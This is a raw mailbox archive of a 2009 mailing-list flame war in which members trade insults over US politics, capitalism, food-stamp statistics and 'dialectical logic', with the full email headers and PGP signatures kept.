User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4217 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 459 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Jeff Fink mounted the barricade and roared out: > >I understand food stamp use in the U.S. is at all-time record highs -- both > in > >absolute and in relative terms. > > --- > Cite? Google it yourself. I'm not making some outrageous claim here. Whatever youse think. Why not start here: - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkodpQUACgkQXo3EtEYbt3Gh/wCgxJcXdOuBEnDh7RYBhrUy6soq nGoAoPCT0ktTY1XyxZ7PqSSpKNo8Msfz =FPXb -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Wed May 27 14:00:41 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4RL0Vuo014131; Wed, 27 May 2009 14:00:35 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4RL0Vom014121; Wed, 27 May 2009 14:00:31 -0700 Resent-Date: Wed, 27 May 2009 14:00:31 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:cc:content-type; bh=ZL1VR3vnrnFKM7aMy56BBMjbbKIQWCQ7zYr1BGcZDIA=; b=RHd4Uf9jOjxY6TzYMhzmMUAetjSlACI6n03B9Nla73rwUmzuq0xtkPq/4ayR6TPcFG TFh533v1OYkEKtTh7vWOsXAK9nP9oC2t0loELhOoOiSZIVM1SXi9zwGgNzzoyEWLNwwO BcTbWdbGA/exu/8D3ui4SYNd10A2eyV2COtxw= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; b=h/PtFesciFk2EPVkEhtGg+MqnHpLETjSeDIYAazEEQrZOtN1E3cLsGZDuIg7WfdN4S y4ZDlUxuiV0i80g6iEHF4Wv+O2rWc98hKryWHMKz0HJfDvfXl//QTzbL/ulIrYSSAp+E 0kA+zXtMOnDuxwnD3efMN7o+WnrwkQwhGyj4o= MIME-Version: 1.0 In-Reply-To: <20090527203933.GB17182@shell.resist.ca> References: <20090526192626.GD9890@shell.resist.ca> <20090526203023.GA2707@shell.resist.ca> <63ffa6020905261340o2f33f8fav2f05c0fd972365d5@mail.gmail.com> <822450026B1B4CD5BF01AAA9CF143512@REVTEC1> <20090526230931.GC2707@shell.resist.ca> <63ffa6020905261614ie2ced11la6c4cb36060582d8@mail.gmail.com> <20090526234055.GK2707@shell.resist.ca> <3c4p15t6f61sv4q69m2itpna317v8l54ga@4ax.com> <20090527203933.GB17182@shell.resist.ca> From: Charles HOPE Date: Wed, 27 May 2009 17:00:09 -0400 Message-ID: <63ffa6020905271400k55751615o2f0342b8ad304a42@mail.gmail.com> Subject: Re: [VoB]:Re: This is VortexB-L... To: grok@resist.ca Cc: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5a9bf2aacbf046aeb2201 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4218 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 460 --001636c5a9bf2aacbf046aeb2201 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable No doubt this signifies the final stage of capitalism, now more than a hundred years running. On Wed, May 27, 2009 at 4:39 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Jeff Fink > mounted the barricade and roared out: > > > >I understand food stamp use in the U.S. is at all-time record highs -- > both > > in > > >absolute and in relative terms. > > > > --- > > Cite? > > Google it yourself. I'm not making some outrageous claim here. Whatever > youse think. > Why not start here: < > http://www.google.com/search?hl=3Den&q=3D%22food+stamps%22+record> > > > - -- grok. > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkodpQUACgkQXo3EtEYbt3Gh/wCgxJcXdOuBEnDh7RYBhrUy6soq > nGoAoPCT0ktTY1XyxZ7PqSSpKNo8Msfz > =3DFPXb > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5a9bf2aacbf046aeb2201 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable No doubt this signifies the final stage of capitalism, now more than a hund= red years running.



On Wed, May 27= , 2009 at 4:39 PM, grok <grok@resist.ca> wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


As the smoke cleared, Jeff Fink <revtec@ptd.net>
mounted the barricade and roared out:

> >I understand food stamp use in the U.S. is= at all-time record highs -- both
> in
> >absolute and in relative terms.
>
> ---
> Cite?

Google it yourself. I'm not making some outrageous claim here. Wh= atever youse think.
Why not start here: <http://www.google.com/sear= ch?hl=3Den&q=3D%22food+stamps%22+record>


- -- grok.





- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkodpQUACgkQXo3EtEYbt3Gh/wCgxJcXdOuBEnDh7RYBhrUy6soq
nGoAoPCT0ktTY1XyxZ7PqSSpKNo8Msfz
=3DFPXb
-----END PGP SIGNATURE-----




--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c5a9bf2aacbf046aeb2201-- From vortexb-l-request@eskimo.com Wed May 27 14:24:19 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4RLOHn7026878; Wed, 27 May 2009 14:24:17 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4RLOGtV026868; Wed, 27 May 2009 14:24:16 -0700 Resent-Date: Wed, 27 May 2009 14:24:16 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Wed, 27 May 2009 14:24:00 -0700 From: grok To: vortexb-l@eskimo.com Cc: jedrothwell@gmail.com Subject: Re: [VoB]:Re: [Vo]:Black Budget Higher Than Ever Message-ID: <20090527212400.GC17182@shell.resist.ca> Reply-To: grok@resist.ca References: <7.0.1.0.2.20090527162306.038d9be0@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <7.0.1.0.2.20090527162306.038d9be0@gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: HE-Frag, supercavitating, Co60, nitromethane, C-141B Starlifter User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4219 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 461 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Jed Rothwell mounted the barricade and roared out: > I auto-delete all messages from Grok, but a fragment of one survived as > follows: And this proves what..? That you're an intellectual cretin like so many in the U.S.? > "ee, here's the vortex-l hypocrisy in action again: it's truly A-OK to > discuss U.S. olitix on vortex-l -- just so long as you're an > (essentially) unkritikal supporter of the U.S. government and its > military, police, etc. apparatus." > > I would like to point out that Zero fighter was produced by Mitsubishi > Corporation of Japan, and the Yamato super-battleship was in the Japanese > Imperial Navy, not the U.S. military, police, etc. apparatus. I am not a > supporter of the Imperial Japanese military, uncritical or otherwise. > That organization is defunct in any case. I do know a thing or two about > that it, because my landlord and others I knew years ago were members. > (They were not uncritical or "unkritikal" either.) > > Knowing about something does not necessarily mean you are a supporter. You're not even making sense here. I guess it's because you choose to misunderstand my meaning. > I am reading a rather tedious but authoritative, in-depth analysis of > the Battle of Midway, J. Parshal, A. Tully, "Shattered Sword: The Untold > Story of the Battle of Midway." They are not supporters either but they > sure know a lot about the I. J. Navy. > > - Jed So basically, you're still denying your assumptions, because "everyone else" -- i.e. the privileged white minority in the U.S. as more-or-less represented by vortex-l subscribers -- does. Par for the course. You can go back to tossing my stuff down the Memory Hole now. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkodr3AACgkQXo3EtEYbt3G1XACfZUy0HUHhpX3FHtczkrDz5R70 tukAn3HXH+kNwbeD7L/O49k9F8aRqNgG =1ONP -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Wed May 27 14:26:52 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4RLQnXk014821; Wed, 27 May 2009 14:26:50 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4RLQntj014814; Wed, 27 May 2009 14:26:49 -0700 Resent-Date: Wed, 27 May 2009 14:26:49 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Wed, 27 May 2009 14:26:43 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Message-ID: <20090527212643.GD17182@shell.resist.ca> Reply-To: grok@resist.ca References: <20090526203023.GA2707@shell.resist.ca> <63ffa6020905261340o2f33f8fav2f05c0fd972365d5@mail.gmail.com> <822450026B1B4CD5BF01AAA9CF143512@REVTEC1> <20090526230931.GC2707@shell.resist.ca> <63ffa6020905261614ie2ced11la6c4cb36060582d8@mail.gmail.com> <20090526234055.GK2707@shell.resist.ca> <3c4p15t6f61sv4q69m2itpna317v8l54ga@4ax.com> <20090527203933.GB17182@shell.resist.ca> <63ffa6020905271400k55751615o2f0342b8ad304a42@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905271400k55751615o2f0342b8ad304a42@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: HE-Frag, supercavitating, Co60, nitromethane, C-141B Starlifter User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4220 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 462 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > No doubt this signifies the final stage of capitalism, now more than a > hundred years running. Ya, it's certainly been a long and drawn-out disaster for the people of the World, hasn't it? Certainly a failing of the working-class Movement not to do your Masters in, at the first opportunity. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkodsBMACgkQXo3EtEYbt3FsjACffO4llrEmmd/TxIUgMp5gdI1a IWIAn27c9rVoySJVj8OfZKBufX8eG5WT =VInS -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Wed May 27 14:51:35 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4RLpViq025575; Wed, 27 May 2009 14:51:32 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4RLpV0w025562; Wed, 27 May 2009 14:51:31 -0700 Resent-Date: Wed, 27 May 2009 14:51:31 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-YMail-OSG: SmEI.HsVM1liLuRUJT1K_bOgnh7bk8c_eTtuS2IjMRHxzFIAFXTB5TZCxN3IwMpsumvArFwzFNDmFjVcuvzaf45VronYHiLEdyC30RTaFHqeS2uWIg4l2nYt8DywHgXJ2o_EMU66CCtxAw7gt.XLfLENmlzYxOL904jgFhtbs0g0pWqq1sM9O2Le.3xqQtpCueDsK0CK17.gXUd_rRV6ddRHExcqXkC92UPFwdb6EFJ17rpOYC8C_bVLQeMMOW6cUhiBeSqT2ckJIATZEULl6wcr4FRZZvJ1qOX.34rL_1pg68q5vGq5.hpQ9CpoyCYwscfofTHIG4S95g-- X-Yahoo-Newman-Property: ymail-3 From: John Fields To: grok@resist.ca Cc: vortexb-l@eskimo.com Subject: Re: [VoB]:Human Nature and fish Date: Wed, 27 May 2009 16:51:25 -0500 Organization: Austin Instruments. Inc. Message-ID: References: <20090527045107.GB21543@shell.resist.ca> <90F0F609EF004713B0E68AB32FA6CB1B@REVTEC1> <20090527192018.GC23886@shell.resist.ca> In-Reply-To: <20090527192018.GC23886@shell.resist.ca> X-Mailer: Forte Agent 4.2/32.1118 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4221 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 463 On Wed, 27 May 2009 12:20:18 -0700, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > > >As the smoke cleared, Jeff Fink >mounted the barricade and roared out: > >> We all covet the accolades of our fellow man whether we admit it or = not. In >> addition, this fellow probably gets invited to dinner somewhere every = day. >> So, he circumvents the law and still gets almost everything he wants = out of >> fishing. >>=20 >> Jeff > >The Law is an ass, isn't it?=20 --- More like a mule which won't respond to your rein. =20 JF =20 From vortexb-l-request@eskimo.com Wed May 27 14:59:20 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4RLxH9G021123; Wed, 27 May 2009 14:59:17 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4RLxHpd021113; Wed, 27 May 2009 14:59:17 -0700 Resent-Date: Wed, 27 May 2009 14:59:17 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-YMail-OSG: wKpAkzYVM1l2pIhqTyDf2M48BE.X.jDZTB0Z1kwEsBcIfoE65hr1zLtcId5PyNM0ILPzjXFy42jEx3VMwkods3zNTKaqY7sU6.NZGLyaHyL4iDjCHYA1j__EHN9OfMDCdsYNl5RUhzqlkRBX..tVqmGZLI_Tyy4HAAbnV8En50pX2xAD2lFjQBASFH8uZ5OtbKBalsu4FBUpE2JFtRCiuGiULskta4UFHaw1Ao068gozjVtNqKR1PQ.opH1gNzYPsfycfrxI7T0mF1Dtpl1rVHwaoAccex2o3bdNMDRS1a0am.aAEMUHRGOhc7fR70A64suawwpFW_gsa334jw-- X-Yahoo-Newman-Property: ymail-3 From: John Fields To: grok@resist.ca Cc: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:Black Budget Higher Than Ever Date: Wed, 27 May 2009 16:59:08 -0500 Organization: Austin Instruments. Inc. Message-ID: <2hdr15lk0oihvefdno4svuu6jum232r3qv@4ax.com> References: <7.0.1.0.2.20090527134159.0383b4b0@gmail.com> <20090527190928.GA23886@shell.resist.ca> <63ffa6020905271213y60653587y75ea91d455bd092b@mail.gmail.com> <20090527200533.GE23886@shell.resist.ca> In-Reply-To: <20090527200533.GE23886@shell.resist.ca> X-Mailer: Forte Agent 4.2/32.1118 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4222 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 464 On Wed, 27 May 2009 13:05:33 -0700, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > > >As the smoke cleared, Charles HOPE >mounted the barricade and roared out: > >> Since you've described the reasons and they are logical, it doesn't = sound >> like hypocrisy but good sense. > >It's amazing what lengths USAmericans will go to, to torture logic in = order to get it >to talk the way they want. --- Logic is logic, and if your silly rhetoric has been defeated by it, time and time again, (as it has) the fault lies in your own camp, not in the camp of those who delight in showing you up for the phony phuck you are. =20 JF =20 From vortexb-l-request@eskimo.com Wed May 27 15:08:09 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4RM87FN028179; Wed, 27 May 2009 15:08:07 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4RM86jA028168; Wed, 27 May 2009 15:08:06 -0700 Resent-Date: Wed, 27 May 2009 15:08:06 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Wed, 27 May 2009 15:08:00 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Human Nature and fish Message-ID: <20090527220800.GE17182@shell.resist.ca> Reply-To: grok@resist.ca References: <20090527045107.GB21543@shell.resist.ca> <90F0F609EF004713B0E68AB32FA6CB1B@REVTEC1> <20090527192018.GC23886@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: HE-Frag, supercavitating, Co60, nitromethane, C-141B Starlifter User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4223 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 465 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, John Fields mounted the barricade and roared out: > >The Law is an ass, isn't it? > > --- > More like a mule which won't respond to your rein. No, the Law is definitely an ass. - --grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoducAACgkQXo3EtEYbt3EmNACeP0ESn5BnAuvi7Vd2PEHuXzXi JtsAoOlEbCg4HGFK6hbAf70hFf++6Mfj =XdHB -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Wed May 27 15:13:04 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4RMD1X1032725; Wed, 27 May 2009 15:13:01 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4RMD1Kt032718; Wed, 27 May 2009 15:13:01 -0700 Resent-Date: Wed, 27 May 2009 15:13:01 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Wed, 27 May 2009 15:12:54 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:Black Budget Higher Than Ever Message-ID: <20090527221254.GF17182@shell.resist.ca> Reply-To: grok@resist.ca References: <7.0.1.0.2.20090527134159.0383b4b0@gmail.com> <20090527190928.GA23886@shell.resist.ca> <63ffa6020905271213y60653587y75ea91d455bd092b@mail.gmail.com> <20090527200533.GE23886@shell.resist.ca> <2hdr15lk0oihvefdno4svuu6jum232r3qv@4ax.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <2hdr15lk0oihvefdno4svuu6jum232r3qv@4ax.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: HE-Frag, supercavitating, Co60, nitromethane, C-141B Starlifter User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4224 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 466 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, John Fields mounted the barricade and roared out: > >> Since you've described the reasons and they are logical, it doesn't sound > >> like hypocrisy but good sense. > > > >It's amazing what lengths USAmericans will go to, to torture logic in order to get it > >to talk the way they want. > > --- > Logic is logic, No, bourgeois, reductionist logik is very much not dialektikal logik -- tho' dialektikal logik does _contain_ bourgeois logik inside it. > and if your silly rhetoric has been defeated by it, time and time again, (as it > has) the fault lies in your own camp, not in the camp of those who delight in > showing you up for the phony phuck you are. Nyah, nyah, nyah-nyah, nyah... Something here truly is very stoopid and phony indeed. Not to mention deluded as hell. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoduuYACgkQXo3EtEYbt3F6MgCfVzgB+eJ0HUwJNoKdhsm0WW0B fM0Ani8gBgDJ+79cjGkWNUyCjbiE0uzP =3s4X -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Wed May 27 15:40:06 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4RMe3pr008846; Wed, 27 May 2009 15:40:03 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4RMe2Cb008838; Wed, 27 May 2009 15:40:02 -0700 Resent-Date: Wed, 27 May 2009 15:40:02 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:cc:content-type; bh=1mVb/Lq9Spn8IHIIN9HF1rX02RGfo1nsdX5i4na1QoY=; b=ChBE8wQPjeidvLKGhpuZ1JSY3gk8IWZR2/ZKmegtyz8lHcVAZcdbcRPqz3F10lQUXk yAD+4EThRknNRIoaH0T+GPi0n9K90nJjWnRHzXwkJnOqFgZKqgIRCZwtQeFXTFfAyiYP 9jVRnBJfAxx0Gu/Ud0gIqHz1ILeROZABq0suc= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; b=O0xrH29ppdq0lftAqMg+7/SR4bYi8X4LuN1xDUhAeLPUzUJjX4OP1fiTW2lxZiuCYI CXxGjj33tVEns5xdUyl7IwtrQw1FbhnmyzH+zrFdMXnlO5XD32qWb9qGQR8JIfLJGaa5 utnR15Y/v78UwVjVIhRVBFTxr468sTm1V4cT8= MIME-Version: 1.0 In-Reply-To: <20090527221254.GF17182@shell.resist.ca> References: <7.0.1.0.2.20090527134159.0383b4b0@gmail.com> <20090527190928.GA23886@shell.resist.ca> <63ffa6020905271213y60653587y75ea91d455bd092b@mail.gmail.com> <20090527200533.GE23886@shell.resist.ca> <2hdr15lk0oihvefdno4svuu6jum232r3qv@4ax.com> <20090527221254.GF17182@shell.resist.ca> From: Charles HOPE Date: Wed, 27 May 2009 18:39:37 -0400 Message-ID: <63ffa6020905271539r3bd241b8j9a165f8d36770b00@mail.gmail.com> Subject: Re: [VoB]:Re: [Vo]:Black Budget Higher Than Ever To: grok@resist.ca Cc: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5a723d9c7e6046aec85e8 Resent-Message-ID: <-wa24C.A.AKC.CFcHKB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4225 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 467 --001636c5a723d9c7e6046aec85e8 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable It's a dialectic so profound, so true, that it only convinces those who are already convinced. On Wed, May 27, 2009 at 6:12 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, John Fields > mounted the barricade and roared out: > > > >> Since you've described the reasons and they are logical, it doesn't > sound > > >> like hypocrisy but good sense. > > > > > >It's amazing what lengths USAmericans will go to, to torture logic in > order to get it > > >to talk the way they want. > > > > --- > > Logic is logic, > > No, bourgeois, reductionist logik is very much not dialektikal logik -- > tho' > dialektikal logik does _contain_ bourgeois logik inside it. > > > > and if your silly rhetoric has been defeated by it, time and time again= , > (as it > > has) the fault lies in your own camp, not in the camp of those who > delight in > > showing you up for the phony phuck you are. > > Nyah, nyah, nyah-nyah, nyah... > > Something here truly is very stoopid and phony indeed. Not to mention > deluded as hell. > > > - -- grok. > > > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkoduuYACgkQXo3EtEYbt3F6MgCfVzgB+eJ0HUwJNoKdhsm0WW0B > fM0Ani8gBgDJ+79cjGkWNUyCjbiE0uzP > =3D3s4X > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5a723d9c7e6046aec85e8 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable It's a dialectic so profound, so true, that it only convinces those who= are already convinced.




On We= d, May 27, 2009 at 6:12 PM, grok <grok@resist.ca> wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


As the smoke cleared, John Fields <jfields@austininstruments.com>
mounted the barricade and roared out:

> >> Since you've described the reasons and they are logical, = it doesn't sound
> >> like hypocrisy but good sense.
> >
> >It's amazing what lengths USAmericans will go to, to torture l= ogic in order to get it
> >to talk the way they want.
>
> ---
> Logic is logic,

No, bourgeois, reductionist logik is very much not dialektikal logik = -- tho'
dialektikal logik does _contain_ bourgeois logik inside it.


> and if your silly rhetoric has been defeated by it, time and time agai= n, (as it
> has) the fault lies in your own camp, not in the camp of those who del= ight in
> showing you up for the phony phuck you are.

Nyah, nyah, nyah-nyah, nyah...

Something here truly is very stoopid and phony indeed. Not to mention delud= ed as hell.


- -- grok.







- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkoduuYACgkQXo3EtEYbt3F6MgCfVzgB+eJ0HUwJNoKdhsm0WW0B
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=3D3s4X
